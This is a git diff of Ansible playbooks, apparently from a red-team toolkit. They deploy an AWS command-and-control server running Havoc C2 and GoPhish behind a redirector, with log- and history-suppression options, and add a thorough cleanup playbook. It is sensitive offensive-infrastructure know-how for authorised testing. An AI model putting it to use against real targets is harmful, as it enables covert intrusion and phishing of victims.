AMI username mapping - improved with better detection + - name: Determine correct SSH user for the AMI + set_fact: + ami_ssh_user: "{{ 'kali' if (ami_id is defined and ami_id is search('-kali-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}" + + - name: Display AMI and user information for debugging + debug: + msg: + - "Using AMI ID: {{ ami_id | default('AMI not defined') }}" + - "Detected SSH user: {{ ami_ssh_user }}" + + # Create new infrastructure only if not using shared + - name: Create VPC + amazon.aws.ec2_vpc_net: + name: "{{ c2_name }}-vpc" + cidr_block: "10.0.0.0/16" + region: "{{ aws_c2_region }}" + tags: + Name: "{{ c2_name }}-vpc" + deployment_id: "{{ deployment_id }}" + state: present + register: vpc_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create internet gateway for VPC + amazon.aws.ec2_vpc_igw: + vpc_id: "{{ vpc_result.vpc.id }}" + region: "{{ aws_c2_region }}" + state: present + tags: + Name: "{{ c2_name }}-igw" + deployment_id: "{{ deployment_id }}" + register: igw_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create subnet in VPC + amazon.aws.ec2_vpc_subnet: + vpc_id: "{{ vpc_result.vpc.id }}" + cidr: "10.0.1.0/24" + region: "{{ aws_c2_region }}" + az: "{{ aws_c2_region }}a" + map_public: yes + tags: + Name: "{{ c2_name }}-subnet" + deployment_id: "{{ deployment_id }}" + register: subnet_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create routing table for internet access + amazon.aws.ec2_vpc_route_table: + vpc_id: "{{ vpc_result.vpc.id }}" + region: "{{ aws_c2_region }}" + tags: + Name: "{{ c2_name }}-rtb" + deployment_id: "{{ deployment_id }}" + routes: + - dest: "0.0.0.0/0" + gateway_id: "{{ igw_result.gateway_id }}" + subnets: + - "{{ subnet_result.subnet.id }}" + register: route_table_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + # Set VPC ID based on shared or created + - name: Set VPC ID from shared infrastructure + set_fact: + vpc_id: "{{ shared_infra.vpc_id }}" + subnet_id: "{{ shared_infra.subnet_id }}" + c2_vpc_id: "{{ shared_infra.vpc_id }}" # Store for cleanup reference + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + + - name: Set VPC ID from created infrastructure + set_fact: + vpc_id: "{{ vpc_result.vpc.id }}" + subnet_id: "{{ subnet_result.subnet.id }}" + c2_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Set default redirector_ip for C2-only deployments + set_fact: + redirector_ip: "{{ operator_ip }}" + when: c2_only | default(false) | bool and redirector_ip is not defined + + - name: Load redirector_ip from infrastructure state + block: + - name: Check if infrastructure state file exists + stat: + path: "infrastructure_state_{{ deployment_id }}.json" + register: infra_state_check + + - name: Load infrastructure state + include_vars: + file: "infrastructure_state_{{ deployment_id }}.json" + name: infra_state + when: infra_state_check.stat.exists + + - name: Set redirector IP from infrastructure state + set_fact: + redirector_ip: "{{ infra_state.redirector_ip | default(operator_ip) }}" + when: infra_state_check.stat.exists and infra_state.redirector_ip is defined + + - name: Debug redirector IP + debug: + msg: "Using redirector IP: {{ redirector_ip | default('undefined') }}" + when: redirector_ip is undefined + + - name: Default to operator IP if redirector IP is still undefined + set_fact: + redirector_ip: "{{ operator_ip }}" + when: redirector_ip is undefined + + - name: Create security group for C2 server + amazon.aws.ec2_security_group: + name: "{{ c2_name }}-sg" + description: "Secured C2 server {{ c2_name }}" + vpc_id: "{{ vpc_id }}" + region: "{{ aws_c2_region }}" + rules: + # Management access only from operator IP + - proto: tcp + ports: 22 + cidr_ip: "{{ operator_ip }}/32" + - proto: tcp + ports: "{{ havoc_teamserver_port | default(40056) }}" + cidr_ip: "{{ operator_ip }}/32" + # Allow traffic only from redirector + - proto: tcp + ports: + - 80 + - 443 + - "{{ havoc_http_port | default(8080) }}" + - "{{ havoc_https_port | default(9443) }}" # Updated from 443 + - "{{ havoc_payload_port | default(8443) }}" + - "{{ gophish_admin_port | default(2222) }}" + - "{{ gophish_phish_port | default(8081) }}" + - "{{ tracker_port | default(5000) }}" + cidr_ip: "{{ redirector_ip }}/32" + rules_egress: + - proto: -1 + cidr_ip: 0.0.0.0/0 + state: present + register: security_group + + # Generate or import SSH key for the deployment - FIXED KEY HANDLING + - name: Check if deployment SSH key already exists locally + stat: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + register: ssh_key_file + + - name: Generate key pair if it doesn't exist + block: + - name: Create SSH key pair + command: ssh-keygen -t rsa -b 2048 -f ~/.ssh/c2deploy_{{ deployment_id }} -N "" + args: + creates: "~/.ssh/c2deploy_{{ deployment_id }}" + + - name: Rename private key to .pem format + command: mv ~/.ssh/c2deploy_{{ deployment_id }} ~/.ssh/c2deploy_{{ deployment_id }}.pem + args: + creates: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + removes: "~/.ssh/c2deploy_{{ deployment_id }}" + when: not ssh_key_file.stat.exists + + - name: Ensure proper permissions on SSH key + file: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + mode: '0600' + state: file + + - name: Check if key pair exists in AWS + amazon.aws.ec2_key_info: + region: "{{ aws_c2_region }}" + filters: + key-name: "c2deploy_{{ deployment_id }}" + register: existing_key_pair + + - name: Import SSH key to AWS + amazon.aws.ec2_key: + name: "c2deploy_{{ deployment_id }}" + key_material: "{{ lookup('file', '~/.ssh/c2deploy_{{ deployment_id }}.pub') }}" + region: "{{ aws_c2_region }}" + state: present + when: existing_key_pair.keypairs | length == 0 + + # Launch the C2 server - use the consistent key pair name + - name: Launch C2 instance + amazon.aws.ec2_instance: + name: "{{ c2_name }}" + key_name: "c2deploy_{{ deployment_id }}" # Use the imported key + instance_type: "{{ instance_type | default('t2.medium') }}" + vpc_subnet_id: "{{ subnet_id }}" + security_groups: + - "{{ security_group.group_id }}" + image_id: "{{ ami_id }}" + region: "{{ aws_c2_region }}" + state: present + wait: yes + volumes: + - device_name: "/dev/xvda" + ebs: + volume_size: 100 + delete_on_termination: true + tags: + Name: "{{ c2_name }}" + deployment_id: "{{ deployment_id }}" + register: c2_instance + + - name: Set c2_ip for later use + set_fact: + c2_ip: "{{ c2_instance.instances[0].public_ip_address }}" + c2_instance_id: "{{ c2_instance.instances[0].instance_id }}" + + - name: Display C2 instance details for debugging + debug: + msg: + - "C2 IP: {{ c2_ip }}" + - "C2 Instance ID: {{ c2_instance_id }}" + - "SSH User to use: {{ ami_ssh_user }}" + - "SSH Key path: ~/.ssh/c2deploy_{{ deployment_id }}.pem" + + - name: Wait for C2 instance initialization + pause: + seconds: 180 + when: c2_instance.changed + + - name: Set correct permissions on SSH key + file: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + mode: "0600" + + - name: Wait for C2 SSH to be available + wait_for: + host: "{{ c2_ip }}" + port: 22 + delay: 30 + timeout: 300 + state: started + + - name: Test SSH and prepare remote environment + block: + - name: Ensure .ansible directory exists with proper permissions + shell: | + ssh -i ~/.ssh/c2deploy_{{ deployment_id }}.pem -o StrictHostKeyChecking=no {{ ami_ssh_user }}@{{ c2_ip }} "sudo mkdir -p /root/.ansible/tmp && sudo chmod 0700 /root/.ansible/tmp && sudo chown {{ ami_ssh_user }}:{{ ami_ssh_user }} /root/.ansible/tmp" + register: ssh_prep + until: ssh_prep is success + retries: 5 + delay: 15 + ignore_errors: yes + delegate_to: localhost + + - name: Display SSH preparation results + debug: + msg: "SSH preparation completed: {{ ssh_prep.stdout | default('No output') }}" + + # Test SSH connection directly to verify key is working + - name: Test SSH connection to verify key + shell: "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes -i ~/.ssh/c2deploy_{{ deployment_id }}.pem {{ ami_ssh_user }}@{{ c2_ip }} 'echo SSH CONNECTION SUCCESSFUL'" + register: ssh_test + ignore_errors: yes + + - name: Display SSH test results + debug: + msg: "{{ ssh_test.stdout | default('SSH Connection failed!') }}" + + - name: Add C2 to inventory with updated SSH key path + add_host: + name: "c2" + groups: "c2servers" + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ami_ssh_user }}" + ansible_ssh_private_key_file: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes" + ansible_python_interpreter: "/usr/bin/python3" + # Add these lines to pass all required variables: + smtp_auth_user: "{{ smtp_auth_user }}" + smtp_auth_pass: "{{ smtp_auth_pass }}" + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + redirector_subdomain: "{{ redirector_subdomain }}" + letsencrypt_email: "{{ letsencrypt_email }}" + havoc_teamserver_port: "{{ havoc_teamserver_port | default(40056) }}" + havoc_http_port: "{{ havoc_http_port | default(8080) }}" + havoc_https_port: "{{ havoc_https_port | default(9443) }}" + zero_logs: "{{ zero_logs | default(true) }}" + secure_memory: "{{ secure_memory | default(true) }}" + disable_history: "{{ disable_history | default(true) }}" + setup_integrated_tracker: "{{ setup_integrated_tracker | default(false) }}" + tracker_domain: "{{ tracker_domain | default('track.' + domain) | default('') }}" + +# Configure C2 server with a proper structure +- name: Configure C2 server + hosts: c2servers + become: yes + become_user: root + gather_facts: true + vars_files: + - vars.yaml # Add this line to load the variables + vars: + redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" + c2_subdomain: "{{ c2_subdomain | default('mail') }}" + tasks: + - name: Install python3 if it doesn't exist on target + raw: test -e /usr/bin/python3 || (apt-get update && apt-get install -y python3) + args: + executable: /bin/bash + register: python_install + ignore_errors: yes + + - name: Debug connection information + debug: + msg: + - "Connected to C2 server successfully" + - "Host: {{ ansible_host }}" + - "User: {{ ansible_user }}" + - "Python version: {{ ansible_python_version | default('unknown') }}" + + - name: Download Kali archive keyring to temporary location + get_url: + url: https://archive.kali.org/archive-keyring.gpg + dest: /tmp/kali-archive-keyring.gpg + mode: "0644" + force: yes + register: keyring_download + + - name: Install Kali archive keyring + command: install -m 0644 /tmp/kali-archive-keyring.gpg /usr/share/keyrings/kali-archive-keyring.gpg + when: keyring_download is changed + + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 10 + delay: 10 + + - name: Install Rust compiler + apt: + name: + - cargo + - rustc + - libssl-dev + - pkg-config + state: present + register: rust_install + until: rust_install is success + retries: 3 + delay: 5 + + - name: Clean up any failed pipx installations + file: + path: "{{ item }}" + state: absent + with_items: + - "/root/.local/state/pipx/venvs/netexec" + - "/root/.local/state/pipx/venvs/trevorspray" + ignore_errors: yes + + - name: Include common tool installation tasks + include_tasks: "../../common/tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../../modules/c2/tasks/configure_c2.yml" + + - name: Include common security hardening tasks + include_tasks: "../../common/tasks/security_hardening.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../../common/tasks/configure_mail.yml" + + - name: Set up SSH access to redirector + block: + - name: Ensure /root/.ssh directory exists on C2 server + file: + path: /root/.ssh + state: directory + mode: '0700' + owner: root + group: root + + - name: Copy private SSH key to C2 server for redirector access + copy: + src: "{{ playbook_dir }}/../.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + dest: "/root/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + mode: '0600' + owner: root + group: root + register: key_copy + ignore_errors: yes + + - name: If direct path fails, try home directory location + copy: + src: "~/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + dest: "/root/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + mode: '0600' + owner: root + group: root + when: key_copy is failed + + - name: Create SSH config file to use key automatically + copy: + dest: "/root/.ssh/config" + content: | + Host redirector + HostName {{ hostvars['localhost']['redirector_ip'] }} + User ubuntu + IdentityFile /root/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + mode: '0600' + owner: root + group: root + + - name: Create alias for easy redirector access + lineinfile: + path: /root/.bashrc + line: 'alias redirector="ssh -i /root/.ssh/c2deploy_{{ hostvars["localhost"]["deployment_id"] }}.pem ubuntu@{{ hostvars["localhost"]["redirector_ip"] }}"' + state: present + + - name: Test SSH from C2 to redirector + shell: | + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem ubuntu@{{ hostvars['localhost']['redirector_ip'] }} "echo 'SSH CONNECTION SUCCESSFUL FROM C2'" + register: ssh_test_result + changed_when: false + ignore_errors: yes + + - name: Display SSH test result + debug: + msg: "{{ ssh_test_result.stdout if ssh_test_result.rc == 0 else 'SSH connection failed: ' + ssh_test_result.stderr }}" + + - name: Print deployment summary + debug: + msg: + - "C2 Server Deployment Complete!" + - "-----------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + - "SSH Key: ~/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/AWS/cleanup.yml b/providers/AWS/cleanup.yml new file mode 100644 index 0000000..f33d535 --- /dev/null +++ b/providers/AWS/cleanup.yml @@ -0,0 +1,465 @@ +--- +# AWS Cleanup Playbook - Comprehensive version with robust VPC removal +- name: Clean up AWS resources + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + confirm_cleanup: false # Skip confirmation in automated teardown + deployment_id: "{{ deployment_id | default('') }}" + redirector_name: "{{ redirector_name | default('r-' + deployment_id) }}" + c2_name: "{{ c2_name | default('s-' + deployment_id) }}" + tracker_name: "{{ tracker_name | default('t-' + deployment_id) }}" + cleanup_summary: {} + + tasks: + # Confirmation step (if enabled) + - name: Confirm cleanup + pause: + prompt: "Are you sure you want to delete all AWS resources for deployment ID {{ deployment_id }}? This action cannot be undone. Type 'yes' to confirm" + register: cleanup_confirmation + when: confirm_cleanup | bool + + - name: Check confirmation + assert: + that: + - cleanup_confirmation.user_input | default('yes') == 'yes' + fail_msg: "Cleanup cancelled by user" + when: confirm_cleanup | bool + + # STEP 1: Find all instances by deployment ID + - name: Find all EC2 instances for this deployment + amazon.aws.ec2_instance_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_instances + + - name: Set fact for instances found + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({'instances_found': deployment_instances.instances | length}) }}" + + # STEP 2: Terminate all instances with proper tagging + - name: Terminate all instances for this deployment + amazon.aws.ec2_instance: + instance_ids: "{{ item.instance_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ deployment_instances.instances }}" + register: terminated_instances + when: deployment_instances.instances | length > 0 + + - name: Wait for instances to be terminated + pause: + seconds: 30 + when: deployment_instances.instances | length > 0 + + # STEP 3: Find all security groups by deployment ID + - name: Find all security groups for this deployment + amazon.aws.ec2_security_group_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_sgs + + # Also find SGs by name pattern + - name: Find security groups by name pattern + amazon.aws.ec2_security_group_info: + region: "{{ aws_region }}" + register: all_sgs + + - name: Filter SGs by name pattern + set_fact: + named_sgs: "{{ all_sgs.security_groups | selectattr('group_name', 'search', redirector_name + '-sg|' + c2_name + '-sg') | list }}" + + - name: Combine all security groups to delete + set_fact: + all_sgs_to_delete: "{{ deployment_sgs.security_groups + named_sgs }}" + cleanup_summary: "{{ cleanup_summary | combine({'security_groups_found': (deployment_sgs.security_groups + named_sgs) | length}) }}" + + # STEP 4: Delete all security groups + - name: Delete security groups + amazon.aws.ec2_security_group: + group_id: "{{ item.group_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ all_sgs_to_delete }}" + when: all_sgs_to_delete | length > 0 + ignore_errors: yes + register: deleted_sgs + + # STEP 5: Find and delete all ENIs + - name: Find network interfaces by tag + amazon.aws.ec2_eni_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_enis + + - name: Delete ENIs + amazon.aws.ec2_eni: + region: "{{ aws_region }}" + eni_id: "{{ item.id }}" + state: absent + force_detach: true + loop: "{{ deployment_enis.network_interfaces }}" + ignore_errors: yes + register: deleted_enis + when: deployment_enis.network_interfaces | length > 0 + + - name: Set ENIs count in summary + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({'enis_found': deployment_enis.network_interfaces | length}) }}" + + # STEP 6: Find all VPCs by deployment ID + - name: Find all VPCs for this deployment + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_vpcs + + # STEP 7: Find VPCs by name pattern as fallback + - name: Find all VPCs by name pattern + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + register: all_vpcs + + - name: Filter VPCs by name pattern + set_fact: + named_vpcs: "{{ all_vpcs.vpcs | selectattr('tags', 'defined') | selectattr('tags.Name', 'defined') | selectattr('tags.Name', 'search', redirector_name + '-vpc|' + c2_name + '-vpc') | list }}" + + - name: Combine all VPCs to delete + set_fact: + all_vpcs_to_delete: "{{ deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id') }}" + cleanup_summary: "{{ cleanup_summary | combine({'vpcs_found': (deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id')) | length}) }}" + + # STEP 8: Find and delete NAT Gateways for each VPC separately + - name: Find NAT gateways in each VPC + amazon.aws.ec2_vpc_nat_gateway_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: natgw_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete NAT gateways + amazon.aws.ec2_vpc_nat_gateway: + region: "{{ aws_region }}" + nat_gateway_id: "{{ item.1.nat_gateway_id }}" + state: absent + release_eip: true + loop: "{{ natgw_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('nat_gateways', 'defined') | subelements('nat_gateways') }}" + ignore_errors: yes + register: deleted_natgws + when: natgw_results.results is defined + + - name: Wait after NAT deletion + pause: + seconds: 15 + when: deleted_natgws.results is defined and deleted_natgws.results | length > 0 + + # STEP 9: Find and delete Internet Gateways + - name: Find internet gateways for each VPC + amazon.aws.ec2_vpc_igw_info: + region: "{{ aws_region }}" + filters: + attachment.vpc-id: "{{ item.vpc_id }}" + register: igw_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Detach and delete internet gateways + amazon.aws.ec2_vpc_igw: + internet_gateway_id: "{{ item.1.internet_gateway_id }}" + state: absent + region: "{{ aws_region }}" + loop: "{{ igw_results.results | default([]) | subelements('internet_gateways') }}" + ignore_errors: yes + register: deleted_igws + + - name: Wait after IGW deletion + pause: + seconds: 15 + when: deleted_igws.results is defined and deleted_igws.results | length > 0 + + # STEP 10: Find and delete Route Tables + - name: Find route tables for each VPC + amazon.aws.ec2_vpc_route_table_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: rtb_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete non-main route tables + amazon.aws.ec2_vpc_route_table: + region: "{{ aws_region }}" + route_table_id: "{{ item.1.id }}" + lookup: id + state: absent + loop: "{{ rtb_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('route_tables', 'defined') | subelements('route_tables') }}" + when: not item.1.associations[0].main | default(false) + ignore_errors: yes + register: deleted_rtbs + + # Add this after your existing route table deletion + - name: Delete main route tables with AWS CLI + shell: | + for rtb in $(aws ec2 describe-route-tables --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --query 'RouteTables[?Associations[?Main==`true`]].RouteTableId' --output text); do + aws ec2 delete-route --route-table-id $rtb --destination-cidr-block 0.0.0.0/0 --region {{ aws_region }} || true + done + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ all_vpcs_to_delete }}" + ignore_errors: yes + when: all_vpcs_to_delete | length > 0 + + # STEP 11: Find and delete Subnets + - name: Find subnets for each VPC + amazon.aws.ec2_vpc_subnet_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + loop: "{{ all_vpcs_to_delete }}" + register: subnet_results + + - name: Delete subnets + amazon.aws.ec2_vpc_subnet: + region: "{{ aws_region }}" + vpc_id: "{{ item.1.vpc_id }}" + cidr: "{{ item.1.cidr_block }}" + state: absent + loop: "{{ subnet_results.results | default([]) | subelements('subnets') }}" + ignore_errors: yes + register: deleted_subnets + when: subnet_results.results is defined + + # STEP 12: Find and delete VPC Endpoints + - name: Find VPC endpoints for each VPC + amazon.aws.ec2_vpc_endpoint_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: endpoint_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete VPC endpoints + amazon.aws.ec2_vpc_endpoint: + region: "{{ aws_region }}" + vpc_endpoint_id: "{{ item.1.vpc_endpoint_id }}" + state: absent + loop: "{{ endpoint_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('vpc_endpoints', 'defined') | subelements('vpc_endpoints') }}" + ignore_errors: yes + register: deleted_endpoints + when: endpoint_results.results is defined + + # Add before STEP 13 + - name: Check for remaining VPC dependencies + shell: | + aws ec2 describe-network-interfaces --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --output json + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + register: remaining_deps + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Display any remaining dependencies + debug: + msg: "VPC {{ item.item.vpc_id }} still has dependencies that need to be removed" + loop: "{{ remaining_deps.results }}" + when: item.stdout | from_json | json_query('NetworkInterfaces') | length > 0 + + # Add this before the force delete of network interfaces + - name: Detach remaining network interfaces + shell: | + aws ec2 detach-network-interface --attachment-id $(aws ec2 describe-network-interfaces --network-interface-ids {{ item.1 }} --query 'NetworkInterfaces[0].Attachment.AttachmentId' --output text) --region {{ aws_region }} --force + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') | + map('attr', 'stdout') | map('from_json') | + map('json_query', 'NetworkInterfaces[?Status==`in-use`].NetworkInterfaceId') | + zip(remaining_deps.results | map('attr', 'item')) | list }}" + ignore_errors: yes + when: item.0 | length > 0 + + - name: Force delete any remaining network interfaces + shell: | + aws ec2 delete-network-interface --network-interface-id {{ item.1 }} --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') | + map('attr', 'stdout') | map('from_json') | + map('json_query', 'NetworkInterfaces[].NetworkInterfaceId') | + zip(remaining_deps.results | map('attr', 'item')) | list }}" + ignore_errors: yes + when: item.0 | length > 0 + + # STEP 13: Final VPC deletion with multiple retries + - name: Wait for all dependencies to clear + pause: + seconds: 20 + when: all_vpcs_to_delete | length > 0 + + # First attempt with normal module - with error display + - name: Delete all VPCs (first attempt) + amazon.aws.ec2_vpc_net: + vpc_id: "{{ item.vpc_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ all_vpcs_to_delete }}" + register: vpc_deletion + when: all_vpcs_to_delete | length > 0 + ignore_errors: yes + + - name: Display VPC deletion errors + debug: + msg: "Failed to delete VPC {{ item.item.vpc_id }}: {{ item.msg }}" + loop: "{{ vpc_deletion.results | default([]) }}" + when: item.failed is defined and item.failed + + # Direct API call for any VPCs that failed + - name: Find which VPCs still exist + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + vpc_ids: "{{ all_vpcs_to_delete | map(attribute='vpc_id') | list }}" + register: remaining_vpcs + when: all_vpcs_to_delete | length > 0 + + # Forcibly delete with direct AWS CLI command + - name: Force delete remaining VPCs with CLI + shell: | + aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_vpcs.vpcs }}" + ignore_errors: yes + when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0 + register: force_vpc_delete + + # Add after the VPC deletion attempts - more aggressive approach + - name: Force delete remaining VPCs with AWS CLI and debug output + shell: | + aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }} 2>&1 || echo "Failed with: $?" + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_vpcs.vpcs }}" + register: force_vpc_delete_debug + when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0 + + - name: Display debug output from force delete + debug: + msg: "{{ item.stdout }}" + loop: "{{ force_vpc_delete_debug.results | default([]) }}" + when: item.stdout is defined and item.stdout | trim != "" + + # Track deleted VPCs in summary + - name: Set VPC deletion results in summary + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({ + 'vpcs_deleted': ((vpc_deletion.results | default([]) | selectattr('failed', 'undefined') | list | length) + (force_vpc_delete.results | default([]) | selectattr('failed', 'undefined') | list | length))}) }}" + when: all_vpcs_to_delete | length > 0 + + # Add these tasks to confirm VPC deletion + - name: Verify VPC deletion + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: vpc_check + + - name: Display cleanup summary + debug: + msg: + - "Cleanup Summary:" + - "Redirector instance deleted: {{ redirector_deleted | default('N/A') }}" + - "C2 instance deleted: {{ c2_deleted | default('N/A') }}" + - "VPC resources deleted: {{ vpc_check.vpcs | length == 0 }}" + when: not disable_summary | default(false) + + # STEP 14: Delete key pairs - completely revised implementation + - name: Check for deployment key in AWS + shell: | + aws ec2 describe-key-pairs --region {{ aws_region }} --filters "Name=key-name,Values=c2deploy_{{ deployment_id }}" --query "KeyPairs[*].KeyName" --output text + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + register: keypair_check + ignore_errors: yes + + - name: Delete deployment key pair if it exists + amazon.aws.ec2_key: + name: "c2deploy_{{ deployment_id }}" + region: "{{ aws_region }}" + state: absent + when: keypair_check.stdout | trim != "" + register: deleted_keypair + + - name: Delete SSH key files + file: + path: "{{ item }}" + state: absent + with_items: + - "~/.ssh/c2deploy_{{ deployment_id }}.pem" + - "~/.ssh/c2deploy_{{ deployment_id }}.pub" + - "~/.ssh/{{ redirector_name }}.pem" + - "~/.ssh/{{ c2_name }}.pem" + - "~/.ssh/{{ tracker_name }}.pem" + ignore_errors: yes + register: deleted_ssh_files + + - name: Count deleted SSH files + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({ + 'keypairs_deleted': (deleted_keypair.changed | default(false)) | ternary(1, 0), + 'ssh_files_deleted': (deleted_ssh_files.results | selectattr('changed', 'defined') | selectattr('changed') | list | length)}) }}" + + # Remove infrastructure state file - fix path to include deployment_id + - name: Remove infrastructure state file + file: + path: "infrastructure_state_{{ deployment_id }}.json" + state: absent + ignore_errors: yes + register: infra_file + + - name: Clean up deployment state file + file: + path: "{{ playbook_dir }}/../deployment_state_{{ deployment_id }}.json" + state: absent + ignore_errors: yes + register: state_file_deletion + + - name: Report state file cleanup + debug: + msg: "Deployment state file {{ 'deleted' if state_file_deletion.changed else 'not found' }}" + when: state_file_deletion is defined + + # STEP 16: Enhanced and Accurate Cleanup Summary + - name: Enhanced cleanup summary + debug: + msg: + - "==========================================================" + - " AWS CLEANUP SUMMARY: {{ deployment_id }} " + - "==========================================================" + - "EC2 Instances: {{ cleanup_summary.instances_found | default(0) }} found, {{ terminated_instances.results | default([]) | length }} terminated" + - "Security Groups: {{ cleanup_summary.security_groups_found | default(0) }} found, {{ deleted_sgs.results | default([]) | length }} deleted" + - "Network Interfaces: {{ cleanup_summary.enis_found | default(0) }} found, {{ deleted_enis.results | default([]) | length }} deleted" + - "VPCs: {{ cleanup_summary.vpcs_found | default(0) }} found, {{ cleanup_summary.vpcs_deleted | default(0) }} deleted" + - "Key Pairs: {{ deleted_key_pairs.results | default([]) | length }} deleted" + - "SSH Key Files: {{ cleanup_summary.ssh_files_deleted | default(0) }} deleted" + - "Infrastructure file: {{ 'Removed' if infra_file.changed else 'Not found' }}" + - "==========================================================" + - "CLEANUP {{ 'COMPLETED' if (cleanup_summary.vpcs_deleted | default(0) == cleanup_summary.vpcs_found | default(0)) else 'PARTIAL - SOME RESOURCES MAY REMAIN' }}" + - "=========================================================" \ No newline at end of file diff --git a/providers/AWS/infrastructure.yml b/providers/AWS/infrastructure.yml new file mode 100644 index 0000000..f4a4af5 --- /dev/null +++ b/providers/AWS/infrastructure.yml @@ -0,0 +1,115 @@ +--- +# AWS Shared Infrastructure Deployment Playbook + +- name: Deploy shared AWS infrastructure + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Deployment identifiers + deployment_id: "{{ deployment_id | default('') 